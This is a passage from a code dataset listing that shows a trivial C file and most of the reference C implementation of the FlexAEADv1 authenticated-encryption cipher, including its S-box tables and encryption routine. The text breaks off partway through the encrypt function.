filename
stringlengths
3
9
code
stringlengths
4
1.87M
871322.c
int x = 5; int y = 7; int main(void){ return 0; }
244813.c
#include "crypto_aead.h" #include "encrypt.h" #include "crypto_uint8.h" #include "crypto_uint16.h" #include "crypto_uint32.h" #include "crypto_uint64.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #ifndef FlexAEADv1_H #define FlexAEADv1_H // struct definition #define SUBKEY0 0*BLOCKSIZE #define SUBKEY1 2*BLOCKSIZE #define SUBKEY2 4*BLOCKSIZE #define SUBKEYA 0*BLOCKSIZE #define SUBKEYB 1*BLOCKSIZE struct FlexAEADv1; // function definition void FlexAEADv1_init(struct FlexAEADv1 * self, unsigned char *key); void mwc32( unsigned char * state, unsigned char * add, unsigned blocklen); void dirMixQuartersLayer( unsigned char * block, unsigned blocklen, unsigned char * state ); void dirShuffleLayer( unsigned char * block, unsigned blocklen, unsigned char * state ); void invShuffleLayer( unsigned char * block, unsigned blocklen, unsigned char * state ); void dirSBoxLayer( unsigned char * block, unsigned blocklen ); void invSBoxLayer( unsigned char * block, unsigned blocklen ); void dirPFK( unsigned char * block, unsigned blocklen, unsigned char *key_pfk, unsigned nRounds, unsigned char * state ); void invPFK( unsigned char * block, unsigned blocklen, unsigned char *key_pfk, unsigned nRounds, unsigned char * state ); void padBlock( unsigned char * block, unsigned blocklen, unsigned nBytes ); unsigned unpadBlock( unsigned char * block, unsigned blocklen ); void sumAD( struct FlexAEADv1 * self, unsigned char * ADblock, unsigned doublePFK ); void encryptBlock( struct FlexAEADv1 * self, unsigned char * block ); void decryptBlock( struct FlexAEADv1 * self, unsigned char * block ); int crypto_aead_encrypt( unsigned char *c,unsigned long long *clen, const unsigned char *m,unsigned long long mlen, const unsigned char *ad,unsigned long long adlen, const unsigned char *nsec, const unsigned char *npub, const unsigned char *k ); int crypto_aead_decrypt(unsigned char *m,unsigned long long *mlen,unsigned char *nsec,const unsigned char *c,unsigned long long clen, const unsigned char *ad,unsigned long long adlen,const unsigned char *npub,const unsigned char *k); void memcpyopt( void * a, const void * b, unsigned c); #endif struct FlexAEADv1 { unsigned char subkeys[BLOCKSIZE * 6]; unsigned char counter[BLOCKSIZE]; unsigned char checksum[BLOCKSIZE]; unsigned char state[BLOCKSIZE]; unsigned char sn[BLOCKSIZE]; unsigned char add[BLOCKSIZE]; unsigned nRounds; unsigned nBytes; }; const unsigned char dirSBox0[256] = { 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76, 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0, 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15, 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75, 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84, 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF, 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8, 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2, 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73, 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB, 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79, 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08, 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A, 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E, 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF, 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16 }; const unsigned char invSBox0[256] = { 0x52,0x09,0x6A,0xD5,0x30,0x36,0xA5,0x38,0xBF,0x40,0xA3,0x9E,0x81,0xF3,0xD7,0xFB, 0x7C,0xE3,0x39,0x82,0x9B,0x2F,0xFF,0x87,0x34,0x8E,0x43,0x44,0xC4,0xDE,0xE9,0xCB, 0x54,0x7B,0x94,0x32,0xA6,0xC2,0x23,0x3D,0xEE,0x4C,0x95,0x0B,0x42,0xFA,0xC3,0x4E, 0x08,0x2E,0xA1,0x66,0x28,0xD9,0x24,0xB2,0x76,0x5B,0xA2,0x49,0x6D,0x8B,0xD1,0x25, 0x72,0xF8,0xF6,0x64,0x86,0x68,0x98,0x16,0xD4,0xA4,0x5C,0xCC,0x5D,0x65,0xB6,0x92, 0x6C,0x70,0x48,0x50,0xFD,0xED,0xB9,0xDA,0x5E,0x15,0x46,0x57,0xA7,0x8D,0x9D,0x84, 0x90,0xD8,0xAB,0x00,0x8C,0xBC,0xD3,0x0A,0xF7,0xE4,0x58,0x05,0xB8,0xB3,0x45,0x06, 0xD0,0x2C,0x1E,0x8F,0xCA,0x3F,0x0F,0x02,0xC1,0xAF,0xBD,0x03,0x01,0x13,0x8A,0x6B, 0x3A,0x91,0x11,0x41,0x4F,0x67,0xDC,0xEA,0x97,0xF2,0xCF,0xCE,0xF0,0xB4,0xE6,0x73, 0x96,0xAC,0x74,0x22,0xE7,0xAD,0x35,0x85,0xE2,0xF9,0x37,0xE8,0x1C,0x75,0xDF,0x6E, 0x47,0xF1,0x1A,0x71,0x1D,0x29,0xC5,0x89,0x6F,0xB7,0x62,0x0E,0xAA,0x18,0xBE,0x1B, 0xFC,0x56,0x3E,0x4B,0xC6,0xD2,0x79,0x20,0x9A,0xDB,0xC0,0xFE,0x78,0xCD,0x5A,0xF4, 0x1F,0xDD,0xA8,0x33,0x88,0x07,0xC7,0x31,0xB1,0x12,0x10,0x59,0x27,0x80,0xEC,0x5F, 0x60,0x51,0x7F,0xA9,0x19,0xB5,0x4A,0x0D,0x2D,0xE5,0x7A,0x9F,0x93,0xC9,0x9C,0xEF, 0xA0,0xE0,0x3B,0x4D,0xAE,0x2A,0xF5,0xB0,0xC8,0xEB,0xBB,0x3C,0x83,0x53,0x99,0x61, 0x17,0x2B,0x04,0x7E,0xBA,0x77,0xD6,0x26,0xE1,0x69,0x14,0x63,0x55,0x21,0x0C,0x7D }; const unsigned char dirSBox1[256] = { 0x95,0xA8,0x6C,0xC4,0x69,0x1F,0x3D,0xEC,0x8C,0xF8,0xB7,0x31,0xC1,0x3F,0x29,0x56, 0x7E,0xD4,0x44,0xE0,0xE3,0x86,0xC7,0xF3,0xD8,0xF0,0xC0,0x0B,0xAC,0x4C,0x74,0xA1, 0x60,0xC3,0x35,0x34,0x7D,0x87,0x2F,0x98,0xAE,0x97,0x1C,0x49,0xBC,0xA5,0xA6,0x1A, 0x33,0xDF,0x27,0x55,0x58,0x03,0xDA,0x6E,0x09,0x48,0x1E,0x78,0x02,0x88,0x8F,0xDE, 0x6F,0x53,0xD9,0x5E,0xA2,0xBD,0x22,0x61,0xE1,0xE2,0x9C,0x21,0xC8,0xCE,0x13,0x9F, 0x08,0x75,0x94,0x16,0x36,0xD5,0xFB,0x40,0x01,0x79,0xEA,0x3A,0x6B,0xF2,0x52,0xE7, 0xC6,0xBA,0xD7,0xA7,0xAB,0xB0,0xF5,0xFA,0x73,0x2B,0xB9,0x38,0x32,0xFE,0x68,0x9B, 0xDB,0xAA,0x7B,0x43,0x37,0x9E,0x04,0x7A,0x39,0x1D,0x1B,0xD1,0xFF,0x64,0x57,0x2D, 0xE8,0xFD,0x91,0x66,0xB3,0x59,0x17,0x7F,0x0E,0xDC,0x81,0x12,0x4E,0xA9,0xEF,0xF9, 0xAF,0xCD,0x2E,0x80,0x76,0x62,0xCF,0x14,0x3B,0x8A,0x5F,0x2C,0xB1,0x41,0xF7,0xD6, 0x5B,0x71,0x82,0xCA,0x15,0x3E,0x54,0x5C,0x23,0x4F,0xB5,0xFC,0xC5,0x7C,0x18,0xCC, 0xB8,0x2A,0x84,0xD3,0x4D,0x4A,0x25,0xF6,0x8D,0x89,0x26,0x00,0x11,0x4B,0xCB,0xF1, 0x3C,0xDD,0x65,0x28,0xB4,0x96,0xEB,0xBF,0xED,0x83,0x07,0x9A,0xC2,0x8E,0x45,0x72, 0xE6,0x93,0xAD,0xBE,0xE4,0x9D,0x24,0x19,0x46,0xE9,0x20,0x47,0x0C,0x06,0x92,0xE5, 0xB2,0xBB,0x6D,0x30,0x85,0x42,0x99,0x0D,0xA3,0x5A,0x77,0x8B,0x5D,0x0F,0x05,0xEE, 0xA4,0x50,0xB6,0x70,0xD2,0x51,0xD0,0x90,0xA0,0x63,0x0A,0x67,0xF4,0x6A,0xC9,0x10 }; const unsigned char invSBox1[256] = { 0xBB,0x58,0x3C,0x35,0x76,0xEE,0xDD,0xCA,0x50,0x38,0xFA,0x1B,0xDC,0xE7,0x88,0xED, 0xFF,0xBC,0x8B,0x4E,0x97,0xA4,0x53,0x86,0xAE,0xD7,0x2F,0x7A,0x2A,0x79,0x3A,0x05, 0xDA,0x4B,0x46,0xA8,0xD6,0xB6,0xBA,0x32,0xC3,0x0E,0xB1,0x69,0x9B,0x7F,0x92,0x26, 0xE3,0x0B,0x6C,0x30,0x23,0x22,0x54,0x74,0x6B,0x78,0x5B,0x98,0xC0,0x06,0xA5,0x0D, 0x57,0x9D,0xE5,0x73,0x12,0xCE,0xD8,0xDB,0x39,0x2B,0xB5,0xBD,0x1D,0xB4,0x8C,0xA9, 0xF1,0xF5,0x5E,0x41,0xA6,0x33,0x0F,0x7E,0x34,0x85,0xE9,0xA0,0xA7,0xEC,0x43,0x9A, 0x20,0x47,0x95,0xF9,0x7D,0xC2,0x83,0xFB,0x6E,0x04,0xFD,0x5C,0x02,0xE2,0x37,0x40, 0xF3,0xA1,0xCF,0x68,0x1E,0x51,0x94,0xEA,0x3B,0x59,0x77,0x72,0xAD,0x24,0x10,0x87, 0x93,0x8A,0xA2,0xC9,0xB2,0xE4,0x15,0x25,0x3D,0xB9,0x99,0xEB,0x08,0xB8,0xCD,0x3E, 0xF7,0x82,0xDE,0xD1,0x52,0x00,0xC5,0x29,0x27,0xE6,0xCB,0x6F,0x4A,0xD5,0x75,0x4F, 0xF8,0x1F,0x44,0xE8,0xF0,0x2D,0x2E,0x63,0x01,0x8D,0x71,0x64,0x1C,0xD2,0x28,0x90, 0x65,0x9C,0xE0,0x84,0xC4,0xAA,0xF2,0x0A,0xB0,0x6A,0x61,0xE1,0x2C,0x45,0xD3,0xC7, 0x1A,0x0C,0xCC,0x21,0x03,0xAC,0x60,0x16,0x4C,0xFE,0xA3,0xBE,0xAF,0x91,0x4D,0x96, 0xF6,0x7B,0xF4,0xB3,0x11,0x55,0x9F,0x62,0x18,0x42,0x36,0x70,0x89,0xC1,0x3F,0x31, 0x13,0x48,0x49,0x14,0xD4,0xDF,0xD0,0x5F,0x80,0xD9,0x5A,0xC6,0x07,0xC8,0xEF,0x8E, 0x19,0xBF,0x5D,0x17,0xFC,0x66,0xB7,0x9E,0x09,0x8F,0x67,0x56,0xAB,0x81,0x6D,0x7C }; const unsigned char dirSBox2[256] = { 0xA6,0x9D,0x5F,0x08,0x3E,0x7B,0xF1,0xB0,0x8E,0xEC,0x2C,0x0C,0x69,0xB6,0xAD,0xED, 0xB2,0x60,0xE7,0xF8,0xE3,0x39,0x97,0x11,0x41,0xDB,0xAE,0x27,0x23,0x3F,0x67,0x51, 0xC8,0xB3,0xA1,0x4B,0x62,0xA9,0x89,0x2E,0x04,0x20,0x0D,0x72,0x5A,0x26,0x19,0x7C, 0x55,0x36,0x18,0x1B,0xC6,0xD4,0x66,0x0A,0x00,0x34,0x0E,0x74,0x22,0xB9,0x5D,0xD3, 0xF5,0xCD,0x48,0x84,0x25,0x73,0x50,0x14,0xC4,0x43,0x45,0x6F,0x31,0xE8,0x86,0xE9, 0xF7,0x7A,0xE5,0xD6,0x17,0x32,0xCC,0xE0,0xD8,0xC2,0xE6,0x35,0x79,0x29,0xAF,0x77, 0x3B,0x90,0xEE,0x12,0xF9,0x02,0x1C,0xBA,0x96,0xDE,0xFB,0xA4,0xA2,0xCB,0x94,0xA3, 0x91,0x57,0x8B,0x3C,0xF2,0x2F,0xCF,0x61,0x80,0xE4,0x4D,0x9C,0x5B,0x15,0x78,0xB1, 0x0F,0xAB,0x13,0xA7,0xB5,0x44,0xB7,0x70,0x03,0x83,0x4C,0x98,0xDD,0x4F,0xFF,0x8A, 0xF3,0xFA,0x30,0x4E,0x33,0xD0,0x42,0xD5,0x6D,0x5C,0x81,0x95,0xD2,0x2B,0x01,0x99, 0x6A,0x56,0xAC,0xB4,0x07,0xCA,0x9E,0xEF,0x1A,0xEA,0x88,0xC1,0x93,0x8D,0xE1,0x7D, 0xFD,0xA5,0xF0,0x3A,0xE2,0xB8,0x0B,0xC5,0x49,0x6E,0x05,0x71,0x46,0x1F,0x2A,0x8F, 0x68,0xF6,0xD9,0x38,0x82,0x47,0xFC,0x7E,0x09,0x37,0xF4,0x1D,0x9F,0xA0,0xA8,0x52, 0xDA,0x24,0xFE,0x75,0x6C,0xBC,0xC3,0x63,0xC0,0x9B,0x10,0xBD,0xBF,0x1E,0x40,0x4A, 0x59,0x16,0x5E,0xBB,0x54,0xC7,0xEB,0x64,0x8C,0x9A,0x06,0x3D,0x76,0x28,0x21,0xBE, 0xD1,0x85,0x87,0xAA,0x53,0xCE,0xDF,0x65,0x58,0xDC,0x7F,0xD7,0xC9,0x6B,0x2D,0x92 }; const unsigned char invSBox2[256] = { 0x38,0x9E,0x65,0x88,0x28,0xBA,0xEA,0xA4,0x03,0xC8,0x37,0xB6,0x0B,0x2A,0x3A,0x80, 0xDA,0x17,0x63,0x82,0x47,0x7D,0xE1,0x54,0x32,0x2E,0xA8,0x33,0x66,0xCB,0xDD,0xBD, 0x29,0xEE,0x3C,0x1C,0xD1,0x44,0x2D,0x1B,0xED,0x5D,0xBE,0x9D,0x0A,0xFE,0x27,0x75, 0x92,0x4C,0x55,0x94,0x39,0x5B,0x31,0xC9,0xC3,0x15,0xB3,0x60,0x73,0xEB,0x04,0x1D, 0xDE,0x18,0x96,0x49,0x85,0x4A,0xBC,0xC5,0x42,0xB8,0xDF,0x23,0x8A,0x7A,0x93,0x8D, 0x46,0x1F,0xCF,0xF4,0xE4,0x30,0xA1,0x71,0xF8,0xE0,0x2C,0x7C,0x99,0x3E,0xE2,0x02, 0x11,0x77,0x24,0xD7,0xE7,0xF7,0x36,0x1E,0xC0,0x0C,0xA0,0xFD,0xD4,0x98,0xB9,0x4B, 0x87,0xBB,0x2B,0x45,0x3B,0xD3,0xEC,0x5F,0x7E,0x5C,0x51,0x05,0x2F,0xAF,0xC7,0xFA, 0x78,0x9A,0xC4,0x89,0x43,0xF1,0x4E,0xF2,0xAA,0x26,0x8F,0x72,0xE8,0xAD,0x08,0xBF, 0x61,0x70,0xFF,0xAC,0x6E,0x9B,0x68,0x16,0x8B,0x9F,0xE9,0xD9,0x7B,0x01,0xA6,0xCC, 0xCD,0x22,0x6C,0x6F,0x6B,0xB1,0x00,0x83,0xCE,0x25,0xF3,0x81,0xA2,0x0E,0x1A,0x5E, 0x07,0x7F,0x10,0x21,0xA3,0x84,0x0D,0x86,0xB5,0x3D,0x67,0xE3,0xD5,0xDB,0xEF,0xDC, 0xD8,0xAB,0x59,0xD6,0x48,0xB7,0x34,0xE5,0x20,0xFC,0xA5,0x6D,0x56,0x41,0xF5,0x76, 0x95,0xF0,0x9C,0x3F,0x35,0x97,0x53,0xFB,0x58,0xC2,0xD0,0x19,0xF9,0x8C,0x69,0xF6, 0x57,0xAE,0xB4,0x14,0x79,0x52,0x5A,0x12,0x4D,0x4F,0xA9,0xE6,0x09,0x0F,0x62,0xA7, 0xB2,0x06,0x74,0x90,0xCA,0x40,0xC1,0x50,0x13,0x64,0x91,0x6A,0xC6,0xB0,0xD2,0x8E }; const unsigned char dirSBox3[256] = { 0xD9,0xEE,0x83,0xB5,0xF4,0x02,0xEF,0x64,0x8E,0x4D,0x34,0x48,0xC2,0x29,0xC6,0x90, 0xB3,0x9F,0x52,0x22,0x2F,0xE7,0xD0,0x76,0x95,0x8D,0xA1,0x2B,0x56,0xD7,0x7D,0x1C, 0x2D,0x9A,0x3B,0x12,0xDD,0x00,0x24,0xA2,0x63,0x11,0x07,0x94,0x5D,0xF6,0x0E,0x7F, 0xFF,0x5E,0xF3,0x65,0xE5,0xF1,0xA0,0x93,0x1E,0xBC,0xDE,0xA9,0x8B,0xF5,0xFA,0xB2, 0x62,0x7E,0xB9,0x57,0x69,0x4C,0xFD,0x43,0x1A,0x08,0x35,0x05,0xE6,0x88,0xA5,0x44, 0x45,0x01,0xBD,0x5B,0xB6,0xCC,0xBE,0xD3,0x9B,0x9E,0x8F,0x40,0x32,0xC3,0x8A,0x3E, 0x0B,0x58,0xDB,0x99,0x0D,0xE1,0x87,0xB8,0x06,0x0F,0x0C,0x66,0xA4,0xFE,0x3D,0x10, 0xFB,0xBB,0x6B,0x53,0x5A,0xC1,0x20,0x42,0x31,0x7C,0xCF,0xE0,0x89,0xE2,0x6C,0x09, 0x04,0x17,0xCB,0xC0,0xE9,0xAC,0x5F,0x4E,0x81,0x8C,0x13,0xBA,0x0A,0xCE,0x55,0x23, 0x38,0x4B,0xF0,0x79,0x6E,0x21,0xB7,0x82,0x46,0xD1,0x71,0xBF,0x26,0x86,0xD6,0x2E, 0x97,0xC9,0x74,0xA6,0x2A,0x98,0x59,0xDA,0xAF,0x78,0x92,0x28,0x6A,0x6D,0x1D,0x4F, 0xF8,0x61,0x7A,0x60,0xF2,0x6F,0x15,0xC4,0xED,0x16,0xD4,0xEA,0x70,0xCD,0xEB,0xDC, 0xB0,0x77,0x19,0x3A,0xD8,0x5C,0xF9,0x27,0x72,0x50,0xC5,0x3C,0x37,0xE3,0xA8,0xAA, 0xF7,0x2C,0x73,0x1F,0x33,0x75,0xC7,0x68,0x67,0x36,0x4A,0x96,0xAB,0xEC,0xFC,0x1B, 0xC8,0x7B,0xE8,0xA3,0x80,0xB4,0x9C,0xAE,0x18,0x41,0xD5,0xE4,0x25,0x51,0x14,0x49, 0xAD,0x3F,0xCA,0x91,0xD2,0xA7,0x84,0x9D,0x30,0xDF,0x85,0x47,0x03,0x39,0xB1,0x54 }; const unsigned char invSBox3[256] = { 0x25,0x51,0x05,0xFC,0x80,0x4B,0x68,0x2A,0x49,0x7F,0x8C,0x60,0x6A,0x64,0x2E,0x69, 0x6F,0x29,0x23,0x8A,0xEE,0xB6,0xB9,0x81,0xE8,0xC2,0x48,0xDF,0x1F,0xAE,0x38,0xD3, 0x76,0x95,0x13,0x8F,0x26,0xEC,0x9C,0xC7,0xAB,0x0D,0xA4,0x1B,0xD1,0x20,0x9F,0x14, 0xF8,0x78,0x5C,0xD4,0x0A,0x4A,0xD9,0xCC,0x90,0xFD,0xC3,0x22,0xCB,0x6E,0x5F,0xF1, 0x5B,0xE9,0x77,0x47,0x4F,0x50,0x98,0xFB,0x0B,0xEF,0xDA,0x91,0x45,0x09,0x87,0xAF, 0xC9,0xED,0x12,0x73,0xFF,0x8E,0x1C,0x43,0x61,0xA6,0x74,0x53,0xC5,0x2C,0x31,0x86, 0xB3,0xB1,0x40,0x28,0x07,0x33,0x6B,0xD8,0xD7,0x44,0xAC,0x72,0x7E,0xAD,0x94,0xB5, 0xBC,0x9A,0xC8,0xD2,0xA2,0xD5,0x17,0xC1,0xA9,0x93,0xB2,0xE1,0x79,0x1E,0x41,0x2F, 0xE4,0x88,0x97,0x02,0xF6,0xFA,0x9D,0x66,0x4D,0x7C,0x5E,0x3C,0x89,0x19,0x08,0x5A, 0x0F,0xF3,0xAA,0x37,0x2B,0x18,0xDB,0xA0,0xA5,0x63,0x21,0x58,0xE6,0xF7,0x59,0x11, 0x36,0x1A,0x27,0xE3,0x6C,0x4E,0xA3,0xF5,0xCE,0x3B,0xCF,0xDC,0x85,0xF0,0xE7,0xA8, 0xC0,0xFE,0x3F,0x10,0xE5,0x03,0x54,0x96,0x67,0x42,0x8B,0x71,0x39,0x52,0x56,0x9B, 0x83,0x75,0x0C,0x5D,0xB7,0xCA,0x0E,0xD6,0xE0,0xA1,0xF2,0x82,0x55,0xBD,0x8D,0x7A, 0x16,0x99,0xF4,0x57,0xBA,0xEA,0x9E,0x1D,0xC4,0x00,0xA7,0x62,0xBF,0x24,0x3A,0xF9, 0x7B,0x65,0x7D,0xCD,0xEB,0x34,0x4C,0x15,0xE2,0x84,0xBB,0xBE,0xDD,0xB8,0x01,0x06, 0x92,0x35,0xB4,0x32,0x04,0x3D,0x2D,0xD0,0xB0,0xC6,0x3E,0x70,0xDE,0x46,0x6D,0x30 }; int crypto_aead_encrypt( unsigned char *c,unsigned long long *clen, const unsigned char *m,unsigned long long mlen, const unsigned char *ad,unsigned long long adlen, const unsigned char *nsec, const unsigned char *npub, const unsigned char *k ) { /* ... ... the code for the cipher implementation goes here, ... generating a ciphertext c[0],c[1],...,c[*clen-1] ... from a plaintext m[0],m[1],...,m[mlen-1] ... and associated data ad[0],ad[1],...,ad[adlen-1] ... and secret message number nsec[0],nsec[1],... ... and public message number npub[0],npub[1],... ... and secret key k[0],k[1],... ... */ unsigned long long i; unsigned blocklen; unsigned char state[(BLOCKSIZE>KEYSIZE)?BLOCKSIZE:KEYSIZE]; unsigned char tag[BLOCKSIZE]; struct FlexAEADv1 flexaeadv1; if(nsec == NULL) {}; // avoid compiling warnings //memcpy(state,k,KEYSIZE); switch(KEYSIZE) { #if KEYSIZE == 32 case 32: *(((crypto_uint64 *) state)+0) = *(((crypto_uint64 *) k)+0) ; *(((crypto_uint64 *) state)+1) = *(((crypto_uint64 *) k)+1) ; *(((crypto_uint64 *) state)+2) = *(((crypto_uint64 *) k)+2) ; *(((crypto_uint64 *) state)+3) = *(((crypto_uint64 *) k)+3) ; break; #endif #if KEYSIZE >= 16 case 16: *(((crypto_uint64 *) state)+0) = *(((crypto_uint64 *) k)+0) ; *(((crypto_uint64 *) state)+1) = *(((crypto_uint64 *) k)+1) ; break; #endif case 8: *(((crypto_uint64 *) state)+0) = *(((crypto_uint64 *) k)+0) ; break; } FlexAEADv1_init( &flexaeadv1, state ); // ### reset the counter and checksum //memcpy(flexaeadv1.counter, npub, NONCESIZE); switch(NONCESIZE) { #if NONCESIZE == 32 case 32: *(((crypto_uint64 *) flexaeadv1.counter)+0) = *(((crypto_uint64 *) npub)+0) ; *(((crypto_uint64 *) flexaeadv1.counter)+1) = *(((crypto_uint64 *) npub)+1) ; *(((crypto_uint64 *) flexaeadv1.counter)+2) = *(((crypto_uint64 *) npub)+2) ; *(((crypto_uint64 *) flexaeadv1.counter)+3) = *(((crypto_uint64 *) npub)+3) ; break; #endif #if NONCESIZE >= 16 case 16: *(((crypto_uint64 *) flexaeadv1.counter)+0) = *(((crypto_uint64 *) npub)+0) ; *(((crypto_uint64 *) flexaeadv1.counter)+1) = *(((crypto_uint64 *) npub)+1) ; break; #endif case 8: *(((crypto_uint64 *) flexaeadv1.counter)+0) = *(((crypto_uint64 *) npub)+0) ; break; } dirPFK( flexaeadv1.counter, flexaeadv1.nBytes, (flexaeadv1.subkeys + SUBKEY2), flexaeadv1.nRounds, flexaeadv1.state ); switch(NONCESIZE) { #if NONCESIZE == 32 case 32: *(((crypto_uint64 *) flexaeadv1.add)+0) = *(((crypto_uint64 *) flexaeadv1.counter)+0) ; *(((crypto_uint64 *) flexaeadv1.add)+1) = *(((crypto_uint64 *) flexaeadv1.counter)+1) ; *(((crypto_uint64 *) flexaeadv1.add)+2) = *(((crypto_uint64 *) flexaeadv1.counter)+2) ; *(((crypto_uint64 *) flexaeadv1.add)+3) = *(((crypto_uint64 *) flexaeadv1.counter)+3) ; break; #endif #if NONCESIZE >= 16 case 16: *(((crypto_uint64 *) flexaeadv1.add)+0) = *(((crypto_uint64 *) flexaeadv1.counter)+0) ; *(((crypto_uint64 *) flexaeadv1.add)+1) = *(((crypto_uint64 *) flexaeadv1.counter)+1) ; break; #endif case 8: *(((crypto_uint64 *) flexaeadv1.add)+0) = *(((crypto_uint64 *) flexaeadv1.counter)+0) ; break; } for( i = 0; i < flexaeadv1.nBytes; i += 4) { if( *((crypto_uint32 *) (flexaeadv1.add+i)) == 0 ) { *((crypto_uint32 *) (flexaeadv1.add+i)) = 0x11111111; } } dirPFK( flexaeadv1.counter, flexaeadv1.nBytes, (flexaeadv1.subkeys + SUBKEY2), flexaeadv1.nRounds, flexaeadv1.state ); // ### calculate ciphertext length if( (mlen%flexaeadv1.nBytes)==0) *clen = mlen; else *clen = ((mlen/flexaeadv1.nBytes)+1)*flexaeadv1.nBytes; *clen += TAGSIZE; // ### calculate the checksum from the AD i = 0; while( (i+flexaeadv1.nBytes) <= adlen) { //memcpy( state, ad+i, flexaeadv1.nBytes); *(((crypto_uint64 *) state)+0) = *(((crypto_uint64 *) (ad+i))+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) state)+1) = *(((crypto_uint64 *) (ad+i))+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) state)+2) = *(((crypto_uint64 *) (ad+i))+2); *(((crypto_uint64 *) state)+3) = *(((crypto_uint64 *) (ad+i))+3); #endif mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); sumAD( &flexaeadv1, state, 0); i += flexaeadv1.nBytes; } if(i<adlen) { //memset(state, 0x00, flexaeadv1.nBytes); *(((crypto_uint64 *) state)+0) = 0; #if BLOCKSIZE >= 16 *(((crypto_uint64 *) state)+1) = 0; #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) state)+2) = 0; *(((crypto_uint64 *) state)+3) = 0; #endif state[adlen-i]=0x80; memcpyopt(state,ad+i,(adlen-i)); mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); sumAD( &flexaeadv1, state, 1); } // ### separation in between AD and M mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); for( i = 0; i<flexaeadv1.nBytes; i+=8) { *(((crypto_uint64 *) (flexaeadv1.checksum+i))) ^= *(((crypto_uint64 *) (flexaeadv1.counter+i))); } // ### encrypt the plaintext and calclulate the tag i = 0; while( i+flexaeadv1.nBytes <= mlen) { //memcpy(c+i,m+i,flexaeadv1.nBytes); *(((crypto_uint64 *) (c+i))+0) = *(((crypto_uint64 *) (m+i))+0); #if BLOCKSIZE >= 16 *(((crypto_uint64 *) (c+i))+1) = *(((crypto_uint64 *) (m+i))+1); #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) (c+i))+2) = *(((crypto_uint64 *) (m+i))+2); *(((crypto_uint64 *) (c+i))+3) = *(((crypto_uint64 *) (m+i))+3); #endif mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); encryptBlock( &flexaeadv1, c+i); i += flexaeadv1.nBytes; } if(i==mlen) { *(((crypto_uint64 *) tag)+0) = *(((crypto_uint64 *) flexaeadv1.checksum)+0)^0xAAAAAAAAAAAAAAAA; #if BLOCKSIZE >= 16 *(((crypto_uint64 *) tag)+1) = *(((crypto_uint64 *) flexaeadv1.checksum)+1)^0xAAAAAAAAAAAAAAAA; #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) tag)+2) = *(((crypto_uint64 *) flexaeadv1.checksum)+2)^0xAAAAAAAAAAAAAAAA; *(((crypto_uint64 *) tag)+3) = *(((crypto_uint64 *) flexaeadv1.checksum)+3)^0xAAAAAAAAAAAAAAAA; #endif } else { blocklen = (unsigned char) (mlen-i); memcpyopt(c+i, m+i, blocklen); padBlock(c+i,blocklen, flexaeadv1.nBytes); mwc32( flexaeadv1.counter, flexaeadv1.add, flexaeadv1.nBytes ); encryptBlock( &flexaeadv1, c+i); *(((crypto_uint64 *) tag)+0) = *(((crypto_uint64 *) flexaeadv1.checksum)+0)^0x5555555555555555; #if BLOCKSIZE >= 16 *(((crypto_uint64 *) tag)+1) = *(((crypto_uint64 *) flexaeadv1.checksum)+1)^0x5555555555555555; #endif #if BLOCKSIZE == 32 *(((crypto_uint64 *) tag)+2) = *(((crypto_uint64 *) flexaeadv1.checksum)+2)^0x5555555555555555; *(((crypto_uint64 *) tag)+3) = *(((crypto_uint64 *) flexaeadv1.checksum)+3)^0x5555555555555555; #endif } dirPFK( tag, flexaeadv1.nBytes, (flexaeadv1.subkeys + SUBKEY0), flexaeadv1.nRounds, flexaeadv1.state ); //memcpyopt( c+(*clen-TAGSIZE),tag,TAGSIZE); *(((crypto_uint64 *) (c+(*clen-TAGSIZE)))+0) = *(((crypto_uint64 *) tag)+0); #if TAGSIZE >= 16 *(((crypto_uint64 *) (c+(*clen-TAGSIZE)))+1) = *(((crypto_uint64 *) tag)+1); #endif #if TAGSIZE == 32 *(((crypto_uint64 *) 